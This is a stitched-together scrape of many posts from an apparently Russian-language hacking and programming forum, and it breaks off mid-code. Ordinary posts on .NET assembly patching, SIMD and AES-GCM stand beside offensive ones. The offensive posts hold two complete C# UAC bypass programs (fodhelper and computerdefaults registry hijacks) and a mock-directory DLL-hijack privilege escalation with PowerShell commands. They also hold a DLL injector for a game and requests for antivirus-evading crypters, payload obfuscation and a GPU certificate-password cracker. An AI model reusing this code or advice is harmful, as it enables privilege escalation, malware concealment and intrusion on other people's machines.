assembly.EntryPoint.Module.RuntimeVersion = "v4.0.30319"; // "v4.0.30319"; // "v4.8.3928.0"
assembly.EntryPoint.Module.Runtime = TargetRuntime.Net_4_0; // Максимальная Net_4_0
}
// и.т.д с остальными атрибутами.
}
Через Linq
C#:Copy to clipboard
// Находим атрибут "TargetFrameworkAttribute"
CustomAttribute attr = assembly.CustomAttributes.Where(c => c.AttributeType.Name == "TargetFrameworkAttribute").FirstOrDefault();
// Заменяем на новое значение
attr.ConstructorArguments[0] = new CustomAttributeArgument(attr.ConstructorArguments[0].Type, ".NETFramework,Version=v4.6.2");
// Так же применяем остальное
assembly.EntryPoint.Module.RuntimeVersion = "v4.0.30319"; // "v4.8.3928.0", "v2.0.50727.4927" и.т.д
assembly.EntryPoint.Module.Runtime = TargetRuntime.Net_4_0; // Максимальная Net_4_0
Описание атрибутов и.т.д :
ConstructorArguments
- это коллекция аргументов, используемая для инициализации конструктора определенного объекта.CustomAttributeArgument
представляет собой аргумент для атрибута класса. Возможны два типа аргументов: значения и типы.TypeReference
.EntryPoint
- это точка входа приложенияRuntimeVersion
- это версия общеязыковой среды выполнения (CLR), необходимая для запуска сборки. (Значение Runtime Version
будет иметь вид «vX.X.XXXXX», где первые две цифры обозначают основной номер версии CLR , а вторые две цифры — дополнительный номер версии.)Runtime
- это возвращает экземпляр среды выполнения, используемый для запуска программы.CustomAttributes
- это атрибуты, которые можно применять к типам и конструкциям управляемого кода.MainModule.TypeSystem.String
- это стандартный тип данных System.String
в Mono.Cecil
. Он используется для представления строковых констант в скомпилированном коде.Список атрибутов можете найти в классе: AssemblyInfo.cs
или загрузив сборку
в любой дизассемблер по типу:
ILSpy,
DnSpy и там смотреть
список атрибутов.
Вот общий список стандартных атрибутов сборки .NET:
CompilationRelaxationsAttribute - int
RuntimeCompatibilityAttribute - bool
DebuggableAttribute - enum
AssemblyTitleAttribute - string
AssemblyDescriptionAttribute - string
AssemblyConfigurationAttribute - string
AssemblyCompanyAttribute - string
AssemblyProductAttribute - string
AssemblyCopyrightAttribute - string
AssemblyTrademarkAttribute - string
ComVisibleAttribute - bool
GuidAttribute - Guid
AssemblyVersion - string
AssemblyFileVersionAttribute - string
TargetFrameworkAttribute - stringClick to expand...
Spoiler: Замена архитектуры процессора
Значение архитектуры зависит от процессорной платформы, на которой был собран
модуль.
Это может быть одна из следующих архитектур:
MSIL
- это абстрактный процессор, предназначенный для интерпретации или трансляции в другую архитектуру;I386 (X86)
- архитектура 32-разрядного процессора Intel;ARM
- архитектура 32-разрядного процессора для мобильных устройств;IA64
- архитектура 64-разрядного процессора Intel;AMD64
- архитектура 64-разрядного процессора AMD.C#:Copy to clipboard
// Читаем сборку
using AssemblyDefinition assembly = AssemblyDefinition.ReadAssembly(memoryStream, new ReaderParameters(ReadingMode.Immediate));
// Заменяем архитектуру процессора
assembly.MainModule.Architecture = TargetArchitecture.I386; // AnyCPU (предпочтительно 32-бит)
assembly.MainModule.Attributes |= ModuleAttributes.Required32Bit; // Устанавливаем нужный атрибут
Флаг ModuleAttributes.Required32Bit
указывает, что для модуля требуется
загрузка 32-разрядного образа, даже если процессор способен запускать
64-разрядный образ.
Другими атрибутами, составляющими перечисление ModuleAttributes
, являются:
ModuleAttributes.ILOnly
— указывает, что модуль содержит только инструкции промежуточного языка (IL) и не содержит собственного кода.ModuleAttributes.Required
— указывает, что модуль требует загрузки изображения.ModuleAttributes.StrongNameSigned
— указывает, что модуль подписан подписью строгого имени.ModuleAttributes.Preferred32Bit
— указывает, что модуль должен загружаться как 32-битный образ, даже если процессор способен запускать 64-битный образ.ModuleAttributes.PE32Plus
— указывает, что модуль представляет собой 64-битный образ. ModuleAttributes.APTC
A — указывает, что модуль является сборкой, подписанной Authenticode. ModuleAttributes.UnmanagedExport
— указывает, что модуль содержит неуправляемые экспорты.Ну и по стандарту, нужно же сохранить как-то модифицированную сборку
C#:Copy to clipboard
assembly.Write("application.exe"); // Метод Write - сохраняет изменения перезаписывая файл.
Я хочу защитить свой код на C# от просмотра. Я знаю, что кто-то все равно
сможет его расшифровать, но что я могу сделать, чтобы лучше защитить код?
Спасибо за ответы! Хорошие форумы.
Вылез вот такой вопросик? Что лучше учить и на чем больше можно поднимать: сиши или нети?
функционал минимальный, нужна простецкая панель где вводят ключ для авторизации в приложение и срок ключа
Есть ли какое-то кастомное решение функции __readfsdword в MinGW32 ?
Рассматриваю язык Java, вроде как на нем можно все что угодно писать. Дайте
пример что можно делать с ним
Как узнать какой язык учить?
Как вы начали учить Java? Книжки? Ютуб?
Заранее спасибо ^_^
Hello, Im trying to link python for execute this code:
Code:Copy to clipboard
#include <Python.h>
int main(int argc, char *argv[])
{
Py_SetProgramName((wchar_t *)argv[0]); /* optional but recommended */
Py_Initialize();
PyRun_SimpleString("from time import time,ctime\n"
"print('Today is', ctime(time()))\n");
Py_Finalize();
return 0;
}
Code:Copy to clipboard
But I got this error:
||=== Build: Debug in test (compiler: GNU GCC Compiler) ===|
obj\Debug\main.o||In function `main':|
C:\Users\xxxxxxxxxxxxxxxxxxxxxx\test\test\main.cpp|5|undefined reference to `__imp_Py_SetProgramName'|
C:\Users\xxxxxxxxxxxxxxxxxxxxxx\test\test\main.cpp|6|undefined reference to `__imp_Py_Initialize'|
C:\Users\xxxxxxxxxxxxxxxxxxxxxx\test\test\main.cpp|8|undefined reference to `__imp_PyRun_SimpleStringFlags'|
C:\Users\xxxxxxxxxxxxxxxxxxxxxx\test\test\main.cpp|9|undefined reference to `__imp_Py_Finalize'|
||error: ld returned 1 exit status|
||=== Build failed: 5 error(s), 0 warning(s) (0 minute(s), 0 second(s)) ===|
I linked 'python\include' and 'python\libs', anyone how what I can do?
Im using Codeblocks and MinGW.
Если в друх словах: Это возможность (команды), позволяющте выполнять операции
на большом количестве данных за одну операцию.
В случае x86 процессоров это инструкции сделанные в расширениях MMX, SSE,
SSE2, SSE3, SSE4, SSE4.1, SSE4.2, AVX, AVX2, AVX51
(Далее идёт краткий пересказ одной давней статьи как напоминание что есть такие вещи, хоть и редко используются)
Spoiler: Задача
Дан неупорядоченный массив arr с числами типа uint16_t. Необходимо найти количество вхождений числа v в массив arr.
Класическое решение:
C++:Copy to clipboard
int64_t cnt = 0;
for (int i = 0; i < ARR_SIZE; ++i)
if (arr[i] == v)
++cnt;
Benchmark: Time - 2084ns | Iterations - 333079 (Запомните это)
SIMD (Single Instruction, Multiple Data) — одиночный поток команд, множественный поток данных. В x86 совместимых процессорах эти команды были реализованы в нескольких поколениях SSE и AVX расширениях процессора. Команд довольно много, полный список от Intel можно посмотреть на странице software.intel.com/sites/landingpage/IntrinsicsGuide. В десктопных процессорах AVX расширения недоступны, поэтому сосредоточимся на SSE.
Для работы с SIMD в C/C++ в код надо добавить
C++:Copy to clipboard
#include <x86intrin.h>
Что же можно ускорить в коде из 3 строк?
Хорошо бы уменьшить количество итераций и проводить сравнение сразу с несколькими элементами за один цикл. Открываем сайт от Intel, выбираем только SSE расширения и категорию «Compare». Первыми в списке идёт семейство функций __m128i _mm_cmpeq_epi* (__m128i a, __m128i b).
C++:Copy to clipboard
int64_t cnt = 0;
// Превращаем искомое значение в "массив" из 8 одинаковых элементов
auto sseVal = _mm_set1_epi16(VAL);
for (int i = 0; i < ARR_SIZE; i += 8) {
// Для каждого блока из 8 элементов помещаем в переменную для сравнения
auto sseArr = _mm_set_epi16(arr[i + 7], arr[i + 6], arr[i + 5], arr[i + 4], arr[i + 3], arr[i + 2], arr[i + 1], arr[i]);
// Получаем количество совпадений * 2
cnt += _popcnt32(_mm_movemask_epi8(_mm_cmpeq_epi16(sseVal, sseArr)));
}
// Делим на 2
cnt >>= 1;
Benchmark: Time - 937 ns | Iterations - 746435
Это далеко не предел.
Spoiler: Ассемблер
Code:Copy to clipboard
--------------- Копирование 8 элементов в sseArr ---------------
auto sseArr = _mm_set_epi16(arr[i + 7], arr[i + 6], arr[i + 5], arr[i + 4], arr[i + 3], arr[i + 2],
40133a: 48 8b 05 77 1d 20 00 mov 0x201d77(%rip),%rax # 6030b8 <_ZL3arr>
arr[i + 1], arr[i]);
401341: 48 63 8d 9c fe ff ff movslq -0x164(%rbp),%rcx
auto sseArr = _mm_set_epi16(arr[i + 7], arr[i + 6], arr[i + 5], arr[i + 4], arr[i + 3], arr[i + 2],
401348: 66 8b 54 48 0e mov 0xe(%rax,%rcx,2),%dx
40134d: 66 8b 74 48 0c mov 0xc(%rax,%rcx,2),%si
401352: 66 8b 7c 48 0a mov 0xa(%rax,%rcx,2),%di
401357: 66 44 8b 44 48 08 mov 0x8(%rax,%rcx,2),%r8w
40135d: 66 44 8b 4c 48 06 mov 0x6(%rax,%rcx,2),%r9w
401363: 66 44 8b 54 48 04 mov 0x4(%rax,%rcx,2),%r10w
arr[i + 1], arr[i]);
401369: 66 44 8b 1c 48 mov (%rax,%rcx,2),%r11w
40136e: 66 8b 5c 48 02 mov 0x2(%rax,%rcx,2),%bx
auto sseArr = _mm_set_epi16(arr[i + 7], arr[i + 6], arr[i + 5], arr[i + 4], arr[i + 3], arr[i + 2],
401373: 66 89 55 ce mov %dx,-0x32(%rbp)
401377: 66 89 75 cc mov %si,-0x34(%rbp)
40137b: 66 89 7d ca mov %di,-0x36(%rbp)
40137f: 66 44 89 45 c8 mov %r8w,-0x38(%rbp)
401384: 66 44 89 4d c6 mov %r9w,-0x3a(%rbp)
401389: 66 44 89 55 c4 mov %r10w,-0x3c(%rbp)
40138e: 66 89 5d c2 mov %bx,-0x3e(%rbp)
401392: 66 44 89 5d c0 mov %r11w,-0x40(%rbp)
401397: 44 0f b7 75 c0 movzwl -0x40(%rbp),%r14d
40139c: c4 c1 79 6e c6 vmovd %r14d,%xmm0
4013a1: 44 0f b7 75 c2 movzwl -0x3e(%rbp),%r14d
4013a6: c4 c1 79 c4 c6 01 vpinsrw $0x1,%r14d,%xmm0,%xmm0
4013ac: 44 0f b7 75 c4 movzwl -0x3c(%rbp),%r14d
4013b1: c4 c1 79 c4 c6 02 vpinsrw $0x2,%r14d,%xmm0,%xmm0
4013b7: 44 0f b7 75 c6 movzwl -0x3a(%rbp),%r14d
4013bc: c4 c1 79 c4 c6 03 vpinsrw $0x3,%r14d,%xmm0,%xmm0
4013c2: 44 0f b7 75 c8 movzwl -0x38(%rbp),%r14d
4013c7: c4 c1 79 c4 c6 04 vpinsrw $0x4,%r14d,%xmm0,%xmm0
4013cd: 44 0f b7 75 ca movzwl -0x36(%rbp),%r14d
4013d2: c4 c1 79 c4 c6 05 vpinsrw $0x5,%r14d,%xmm0,%xmm0
4013d8: 44 0f b7 75 cc movzwl -0x34(%rbp),%r14d
4013dd: c4 c1 79 c4 c6 06 vpinsrw $0x6,%r14d,%xmm0,%xmm0
4013e3: 44 0f b7 75 ce movzwl -0x32(%rbp),%r14d
4013e8: c4 c1 79 c4 c6 07 vpinsrw $0x7,%r14d,%xmm0,%xmm0
4013ee: c5 f9 7f 45 b0 vmovdqa %xmm0,-0x50(%rbp)
4013f3: c5 f9 6f 45 b0 vmovdqa -0x50(%rbp),%xmm0
4013f8: c5 f9 7f 85 80 fe ff vmovdqa %xmm0,-0x180(%rbp)
4013ff: ff
--------------- Подсчёт совпавших элементов ---------------
cnt += _popcnt32(_mm_movemask_epi8(_mm_cmpeq_epi16(sseVal, sseArr)));
401400: c5 f9 6f 85 a0 fe ff vmovdqa -0x160(%rbp),%xmm0
401407: ff
401408: c5 f9 6f 8d 80 fe ff vmovdqa -0x180(%rbp),%xmm1
40140f: ff
401410: c5 f9 7f 45 a0 vmovdqa %xmm0,-0x60(%rbp)
401415: c5 f9 7f 4d 90 vmovdqa %xmm1,-0x70(%rbp)
40141a: c5 f9 6f 45 a0 vmovdqa -0x60(%rbp),%xmm0
40141f: c5 f9 6f 4d 90 vmovdqa -0x70(%rbp),%xmm1
401424: c5 f9 75 c1 vpcmpeqw %xmm1,%xmm0,%xmm0
401428: c5 f9 7f 45 80 vmovdqa %xmm0,-0x80(%rbp)
40142d: c5 f9 6f 45 80 vmovdqa -0x80(%rbp),%xmm0
401432: c5 79 d7 f0 vpmovmskb %xmm0,%r14d
401436: 44 89 b5 7c ff ff ff mov %r14d,-0x84(%rbp)
40143d: 44 8b b5 7c ff ff ff mov -0x84(%rbp),%r14d
401444: f3 45 0f b8 f6 popcnt %r14d,%r14d
401449: 49 63 c6 movslq %r14d,%rax
40144c: 48 03 85 b8 fe ff ff add -0x148(%rbp),%rax
401453: 48 89 85 b8 fe ff ff mov %rax,-0x148(%rbp)
Видно, что очень много команд процессора занимает копирование элементов массива в sseArr.
C++:Copy to clipboard
int64_t cnt = 0;
auto sseVal = _mm_set1_epi16(VAL);
for (int i = 0; i < ARR_SIZE; i += 8) {
auto sseArr = _mm_loadu_si128((__m128i *) &arr[i]);
cnt += _popcnt32(_mm_movemask_epi8(_mm_cmpeq_epi16(sseVal, sseArr)));
}
Benchmark: Time - 454 ns | Iterations - 1548455
SSE инструкции работают с выровненной памятью по 16 байт. Функция _mm_loadu_si128 позволяет избежать это ограничение, но если выделять память под массив с помощью функции aligned_alloc(16, SZ), то можно будет напрямую передавать адрес в SSE инструкцию:
C++:Copy to clipboard
int64_t cnt = 0;
auto sseVal = _mm_set1_epi16(VAL);
for (int i = 0; i < ARR_SIZE; i += 8) {
auto sseArr = *(__m128i *) &allignedArr[i];
cnt += _popcnt32(_mm_movemask_epi8(_mm_cmpeq_epi16(sseVal, sseArr)));
}
Benchmark: Time - 395 ns | Iterations - 1770803
Все приведённые ассемблерные листинги были получены после компиляции с -O0.
Если включить -O3, то компилятор довольно хорошо оптимизирует код и такого
разделения по времени уже не будет:
BM_Count - 129 ns | Iterations - 5359145
BM_SSE_COUNT_SET_EPI - 70 ns | Iterations - 9936200
BM_SSE_COUNT_LOADU - 49 ns | Iterations - 14187659
BM_SSE_COUNT_DIRECT - 53 ns | Iterations - 13401612
Знаю что можно накинуть обфускатор и мусорного кода, но хотелось бы чего то еше, по сколько после обфускатора чистый exe начинает детектиться и приходится изьебнуться чтоб он стал чистым. Хотелось бы написать свой криптор для .NET но не понимаю в какую сторону вообще гуглить и с чего начать. Если кто-то знает за крипторы для .NET, то подскажите дураку, и подбросьте пару советов как еше можно обходить АВ по мимо крипторов и обфускаторов ?
Друзья, как решить проблему?
Всем привет!
Хочу встать Software Engineer'ом
Но не знаю какой ЯП выбрать
Есть два варианта для меня
Python или С++
Что выбрать?
Всем привет!
Пытаю WinAPI`шную технологию шифрования данных через CNG с симметричным алгоритмом AES-GCM. Прочёл кучу теории. Просмотрел чуть меньше исходников под реализацию именно AES-GCM. Решил реализовать в таком виде исходный код
C++:Copy to clipboard
#include <windows.h>
#include <bcrypt.h>
#include <iostream>
#include <vector>
#include <string>
#pragma comment(lib, "bcrypt.lib")
void handleError(NTSTATUS status, const wchar_t* s) {
if (status != STATUS_SUCCESS) {
std::cerr << "Error: " << std::hex << status << std::endl;
std::wcout << s << std::endl;
exit(1);
}
}
std::vector<BYTE> encrypt(const std::string& plaintext, const std::vector<BYTE>& key, const std::vector<BYTE>& iv) {
BCRYPT_ALG_HANDLE hAlg;
BCRYPT_KEY_HANDLE hKey;
DWORD cbData;
NTSTATUS status;
// Создаем алгоритм AES
handleError(BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0), L"Create AES");
// Создаем ключ
handleError(BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, (PUCHAR)key.data(), key.size(), 0), L"Create key");
// Устанавливаем параметры для GCM
handleError(BCryptSetProperty(hKey, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_GCM, sizeof(BCRYPT_CHAIN_MODE_GCM), 0), L"Create GCM");
handleError(BCryptSetProperty(hKey, BCRYPT_INITIALIZATION_VECTOR, (PUCHAR)iv.data(), iv.size(), 0), L"Create IV");
// Выделяем память для шифрованного текста
std::vector<BYTE> ciphertext(plaintext.size());
DWORD cbCiphertext = 0;
// Шифруем данные
handleError(BCryptEncrypt(hKey, (PUCHAR)plaintext.data(), plaintext.size(), NULL, (PUCHAR)iv.data(), iv.size(),
ciphertext.data(), ciphertext.size(), &cbCiphertext, 0), L"Crypt");
// Очищаем ресурсы
BCryptDestroyKey(hKey);
BCryptCloseAlgorithmProvider(hAlg, 0);
ciphertext.resize(cbCiphertext);
return ciphertext;
}
int main() {
// Пример данных
std::string plaintext = "Hello, World!";
// Ключ 16 байт для AES-128
std::vector<BYTE> key = {
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f
};
//IV 12 байт (4 байта будет заполняться счётчиком
std::vector<BYTE> iv = {
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0a, 0x0b
};
// Шифруем
std::vector<BYTE> ciphertext = encrypt(plaintext, key, iv);
// Выводим шифрованные данные в шестнадцатичном формате
for (BYTE byte : ciphertext) {
std::cout << std::hex << (int)byte;
}
std::cout << std::endl;
return 0;
}
Код отваливается на строке:
C++:Copy to clipboard
handleError(BCryptSetProperty(hKey, BCRYPT_INITIALIZATION_VECTOR, (PUCHAR)iv.data(), iv.size(), 0), L"Create IV");
с ошибкой функции BCryptSetProperty 0xC000000D. Вроде этот код дешифруется так: STATUS_INVALID_PARAMETER.
Через пошаговую загрузку посмотрел какие значение всех параметров вводятся в
функцию. Всё норм.
Вывел эти же значения через cout на экран. Так же всё на месте.
Решил поэкспериметировать со значениями iv. Увеличил до 16 байт. Тогда отвал переместился на строку
C++:Copy to clipboard
handleError(BCryptEncrypt(hKey, (PUCHAR)plaintext.data(), plaintext.size(), NULL, (PUCHAR)iv.data(), iv.size(),ciphertext.data(), ciphertext.size(), &cbCiphertext, 0), L"Crypt");
с тем же кодом ошибки.
Чтение документации с сайта мелкомягких даёт мало инфы. Вообще странно, что
ошибка не указывает какой именно из параметров косячный.
Гугление особо не даёт инфы как эту проблему решать. Находил инфу по другим
ЯП. Там помогало явное задание dwFlags=0. У меня он принимает это значение в
качестве аргумента обоих функций.
Не знаю ещё в какую сторону капнут. Поэтому прошу помощи. Кто то знает как завести эту мелкомягкую балалайку?
Всем привет, пишу VNC, остановился над тем, что нужно передавать сжатые пиксели через инет. Тут на форме говорят, что нужно юзать VNC протокол. Не знаю на каком проекте смотреть использование этого протокола. Прошу кто знает поделится ссылкой на пример с VNC протоколом правильного и нормального
source: https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows
This technique involves a feature of Windows System, known as "mock directories", that permits user to create an "imitation" directory, and can be created by creating a directory than contains a trailing space in the end of the original path. Those cannot be created with Explorer UI, but can only if done through a program or a shell script. Also, requires a subdirectory.
An example of it could be:
Code:Copy to clipboard
C:\Windows \syswow64\
Windows allow under certain directories and for some apps, to bypass UAC and authentication prompt. Windows applies this clause also to applications inside a mock directory. So,if we copy a file from original directory to our mocked one, we can run this app as administrator and without UAC. We can also copy a dll, that is required by the application, with embedded and arbitrary code with it.
A list of vulnerable applications is available here.
![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2Fa1aad5e532dbafb5572da491eb3c79da67f6cd688ebd7856fb4cc9518132d475%2Fwietze%2Fwindows- dll-hijacking&hash=259a33ab6a7e38ecef1bf9012e1f61ca&return_error=1)
wietze/windows-dll-hijacking ](https://github.com/wietze/windows-dll- hijacking/blob/master/dll_hijacking_candidates.csv)
Project for identifying executables and DLLs vulnerable to relative path DLL hijacking. - wietze/windows-dll-hijacking
github.com
In order to proceed, we need to craft the malicious DLL. We need a DLL Template to craft one. We can obtain it by rebuilding the EAT, or to use a readily available source of that dll.
Other informations how to craft the DLL can be found here.
![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2Fa1aad5e532dbafb5572da491eb3c79da67f6cd688ebd7856fb4cc9518132d475%2Fwietze%2Fwindows- dll-hijacking&hash=259a33ab6a7e38ecef1bf9012e1f61ca&return_error=1)
executables and DLLs vulnerable to relative path DLL hijacking. ](https://github.com/wietze/windows-dll-hijacking)
Project for identifying executables and DLLs vulnerable to relative path DLL hijacking. - wietze/windows-dll-hijacking
github.com
An example of weaponization of this technique is to download the dll and exe, then create the mock directory with this powershell command:
Code:Copy to clipboard
New-Item "\\?\C:\Windows \System32" -ItemType Directory #if the target dll is 64 bits
Code:Copy to clipboard
New-Item "\\?\C:\Windows \System32" -ItemType Directory #if the target dll is 32 bits
After that we can copy the DLL and App into the new directory just created and run them to execute Local Admin code without UAC prompt.
It is necessary that the code be written in C++ to take advantage of maximum performance and that the bruteforce does not depend on wordlists,need that are letter by letter, giving a choice between uppercase and lowercase letters, uppercase and lowercase + numbers and uppercase and lowercase + numbers + symbols , you must take advantage of the cuda cores of the gpu, in my basic knowledge I managed to do it in python but without taking advantage of the gpu, I have a budget of $1500 for the work, the delivery of the code will be with a guarantee once it is done to avoid problems, the certificate format is pfx, pkcs12 and p12
Есть определённая функция:
C++:Copy to clipboard
void TestFunc(wchar_t** out, wchar_t* in)
{
int Len = lstrlenW(in);
*out = (wchar_t*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(wchar_t) * (lstrlenW(in) + 1));
for (int i = 0; i < Len; i++)
{
*out[i] = in[i];
}
}
Но при попытке работы с указателем происходит краш.
*out = in ;
Click to expand...
Помогите понять его причину
Помогитек плз, при вызове функции нужно:
1 открытие ксго
2 ожидание запуска процесса игры
3 инжект DLL в игру (lla метод)
4 перенос dll файла в папку
Но у меня просто открывается игра и инжектится софт (в одну секунду)
Надежда только на вас
Сам код
C#:Copy to clipboard
public static bool Inject(string dllpath)
{
string processname = "csgo";
string dllpatch = @"C:\test.dll";
Directory.CreateDirectory(PreInjection(@"C:\Windows"));
Directory.CreateDirectory(PreInjection(@"C:\Windows\PrintDialog"));
Directory.CreateDirectory(PreInjection(@"C:\Windows\PrintDialog\Assets"));
Process.Start("steam://rungameid/730");
while (Process.GetProcessesByName(processname).Length < 1)
{
return false;
}
var handle = OpenProcess((int)(PROCESS_ACCESS_FLAGS.PROCESS_VM_READ | PROCESS_ACCESS_FLAGS.PROCESS_VM_WRITE | PROCESS_ACCESS_FLAGS.PROCESS_VM_OPERATION), false, Process.GetProcessesByName(processname)[0].Id);
var buffer = VirtualAllocEx(handle, 0, dllpath.Length + 1, (int)MEMORY_ACCESS_FLAGS.MEM_COMMIT, (int)PAGE_ACCESS_FLAGS.PAGE_READWRITE);
WriteProcessMemory(handle, buffer, Marshal.StringToHGlobalAnsi(dllpath), dllpath.Length + 1, 0);
WaitForSingleObject(CreateRemoteThread(handle, IntPtr.Zero, 0, GetProcAddress(LoadLibraryA("kernel32.dll"), "LoadLibraryA"), buffer, 0, 0), -1);
VirtualFreeEx(handle, buffer, 0, (int)MEMORY_ACCESS_FLAGS.MEM_RELEASE);
Random r = new Random();
File.Move(dllpath, PreInjection(@"C:\Windows\PrintDialog\Assets") + @"\asset" + r.Next(0, 255) + ".dll");
return true;
}
Книга по системному кодингу в линуксе
](https://anonfiles.com/F2g3N748x2/lav_r_linux_sistemnoe_programmirovanie_pdf)
anonfiles.com
p.s. эту книгу рекомендует Vitaly Nikolenko в своих курсах по эксплуатации ядра Linux.
Имеется LoadPE с запуском RAW PE файла из секции .data (обычный массив байтов
unsigned char rawData[] ={ ... } полученный из HXD). Оставлять его голым, как
и просто ксорить не хочется и бесполезно.
Испробован обычный XOR (эмулируется), Base64 (эмулируется), GZIP (очень
высокая энтропия), GZIP+BASE64 (энтропия 6 но дает практически ровную кривую
энтропии), GZIP+BASE64+XOR (особого смысла нету), генерация PE заголовка в
рантайме. Вешается статик детект (если не локально, то в облаке) на массив
байтов по алгосу/энтропии/ровной кривой энтропии. Детекта на уже
расшифрованный файл как и его использование нету.
Есть ли смысл разбавлять код [«однородным мусором»](https://wasm.in/blogs/staticheskoe-detektirovanie-fajlov- chast-1-struktura-i-dannye.545/) (раздувая файл и с последующей резкой мусора)? Может быть есть эффективный алгоритм который не раздует файл и который не так просто сэмулировать до запуска, или затея бесполезна? (приходила идея порезать файл на совпадения по байтам и его генерацию в рантайме по индексу в массиве, заполнение в цикле).
1 method via fodhelper
C#:Copy to clipboard
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Management;
using Microsoft.Win32;
using System.Diagnostics;
namespace UAC_Bypass
{
class Program
{
static void Main(string[] args)
{
// Payload to be executed
Console.WriteLine("[+] Starting Bypass UAC.");
string payload = "";
if (args.Length > 0)
{
payload = args[0];
Console.WriteLine(@"[+] Payload to be Executed " + payload);
}
else
{
Console.WriteLine("[+] No Payload specified. Executing cmd.exe.");
payload = @"C:\Windows\System32\cmd.exe";
}
try
{
// Registry Key Modification
Microsoft.Win32.RegistryKey key;
key = Registry.CurrentUser.CreateSubKey(@"Software\Classes\ms-settings\shell\open\command");
key.SetValue("", payload, RegistryValueKind.String);
key.SetValue("DelegateExecute", 0, RegistryValueKind.DWord);
key.Close();
Console.WriteLine("[+] Registry Key Changed.");
}
catch
{
Console.WriteLine("[-] Unable to Modify the registry Key.");
Console.WriteLine("[-] Exit.");
}
//Wait 5 sec before execution
Console.WriteLine("[+] Waiting 5 seconds before execution.");
System.Threading.Thread.Sleep(5000);
// Trigger the UAC Bypass
try
{
ProcessStartInfo startInfo = new ProcessStartInfo();
startInfo.CreateNoWindow = true;
startInfo.UseShellExecute = false;
startInfo.FileName = "cmd.exe";
startInfo.Arguments = @"/c start fodhelper.exe";
Process.Start(startInfo);
Console.WriteLine("[+] UAC Bypass Application Executed.");
}
catch
{
Console.WriteLine("[-] Unable to Execute the Application fodhelper.exe to perform the bypass.");
}
DeleteKey();
Console.WriteLine("[-] Exit.");
}
static void DeleteKey()
{
//Wait 5 sec before cleaning
Console.WriteLine("[+] Registry Cleaning will start in 5 seconds.");
System.Threading.Thread.Sleep(5000);
try
{
var rkey = Registry.CurrentUser.OpenSubKey(@"Software\Classes\ms-settings\shell\open\command",true);
// Validate if the Key was created
if (rkey != null)
{
try
{
Registry.CurrentUser.DeleteSubKey(@"Software\Classes\ms-settings\shell\open\command");
}
catch
{
Console.WriteLine(@"[-] Unable to the Registry key (Software\Classes\ms-settings\shell\open\command).");
}
}
Console.WriteLine("[+] Registry Cleaned.");
//return true;
}
catch
{
Console.WriteLine("[-] Unable to Clean the Registry.");
//return false;
}
}
}
}
2 method via computerdefaults
C#:Copy to clipboard
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Management;
using Microsoft.Win32;
using System.Diagnostics;
namespace UAC_Bypass
{
class Program
{
static void Main(string[] args)
{
// Payload to be executed
Console.WriteLine("[+] Starting Bypass UAC.");
string payload = "";
if (args.Length > 0)
{
payload = args[0];
Console.WriteLine(@"[+] Payload to be Executed " + payload);
}
else
{
Console.WriteLine("[+] No Payload specified. Executing cmd.exe.");
payload = @"C:\Windows\System32\cmd.exe";
}
try
{
// Registry Key Modification
Microsoft.Win32.RegistryKey key;
key = Registry.CurrentUser.CreateSubKey(@"Software\Classes\ms-settings\shell\open\command");
key.SetValue("", payload, RegistryValueKind.String);
key.SetValue("DelegateExecute", 0, RegistryValueKind.DWord);
key.Close();
Console.WriteLine("[+] Registry Key Changed.");
}
catch
{
Console.WriteLine("[-] Unable to Modify the registry Key.");
Console.WriteLine("[-] Exit.");
}
//Wait 5 sec before execution
Console.WriteLine("[+] Waiting 5 seconds before execution.");
System.Threading.Thread.Sleep(5000);
// Trigger the UAC Bypass
try
{
ProcessStartInfo startInfo = new ProcessStartInfo();
startInfo.CreateNoWindow = true;
startInfo.UseShellExecute = false;
startInfo.FileName = "cmd.exe";
startInfo.Arguments = @"/c start computerdefaults.exe";
Process.Start(startInfo);
Console.WriteLine("[+] UAC Bypass Application Executed.");
}
catch
{
Console.WriteLine("[-] Unable to Execute the Application computerdefaults.exe to perform the bypass.");
}
DeleteKey();
Console.WriteLine("[-] Exit.");
}
static void DeleteKey()
{
//Wait 5 sec before cleaning
Console.WriteLine("[+] Registry Cleaning will start in 5 seconds.");
System.Threading.Thread.Sleep(5000);
try
{
var rkey = Registry.CurrentUser.OpenSubKey(@"Software\Classes\ms-settings\shell\open\command",true);
// Validate if the Key was created
if (rkey != null)
{
try
{
Registry.CurrentUser.DeleteSubKey(@"Software\Classes\ms-settings\shell\open\command");
}
catch
{
Console.WriteLine(@"[-] Unable to the Registry key (Software\Classes\ms-settings\shell\open\command).");
}
}
Console.WriteLine("[+] Registry Cleaned.");
//return true;
}
catch
{
Console.WriteLine("[-] Unable to Clean the Registry.");
//return false;
}
}
}
}
3 method via slui.exe hijack LPE
![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2F9d688ee5c35d25f50f8e767738d1e8b69867b24d623ff8fa6b34fa9e143ac19c%2Fbytecode77%2Fslui- file-handler-hijack-privilege- escalation&hash=700b95f23a869c151630e1d6bdb0a0be&return_error=1)
File Handler Hijack UAC Bypass Local Privilege Escalation ](https://github.com/bytecode77/slui-file-handler-hijack-privilege-escalation)
Slui File Handler Hijack UAC Bypass Local Privilege Escalation - bytecode77/slui-file-handler-hijack-privilege-escalation
github.com
Всем привет, когда запускаю прогру, то процесс крашит. В чем проблема?
C:Copy to clipboard
struct ParamFnc
{
char path[MAX_PATH];
int data;
};
int main()
{
DWORD addrFnc = cleoAddr + 0x20F20; //Адресс функции в чужом процессе
ParamFnc param; //Параметры функции
memset(¶m, 0, sizeof(param));
strcpy(param.path, (char*)"test");
param.data = 1;
LPVOID RemoteString = VirtualAllocEx(proc_handle, NULL, sizeof(param), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
